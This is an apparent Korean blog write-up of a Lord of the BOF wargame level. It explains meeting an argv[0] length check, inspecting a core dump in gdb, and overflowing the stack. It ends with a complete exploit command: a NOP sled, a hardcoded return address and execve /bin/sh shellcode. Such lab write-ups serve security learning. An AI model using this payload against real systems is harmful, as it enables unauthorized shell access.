문제다. argv[0]이 77이 아니면 에러를 뱉어낸다.
그래서 쫌 고민을 해봤더니..
디렉토리를 77자리를 맞추거나 뭐 그런식으로 해야된다.
.과 orge를 빼면 72라서 python 으로 /를 72개 출력하고 실행하면 argv error가 뜬다. 우선 정상작동이 된다.
gdb로 보기위해 coredump를 할거다
gdb -q -c core 로 esp를 보면
이렇게 돼있다.
argv[2]에 nop를 때려밖았으니 ret 주소를 argv[2]에 적당히 넣고 쉘코드를 때려박으면
굿ㅋ
내 페이로드
.`python -c 'print "/"*72'`orge `python -c 'print "\x90"*44+"\xc0\xf7\xff\xbf"'` `python -c 'print "\x90"*1000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
timewalker~
'wargame > S_LOB' 카테고리의 다른 글
wolfman->darkelf (2) | 2016.08.31 |
---|---|
orc->wolfman (0) | 2016.06.24 |
goblin->orc (0) | 2016.06.23 |
cobolt -> goblin (0) | 2016.06.14 |
gremlin->cobolt (0) | 2016.06.12 |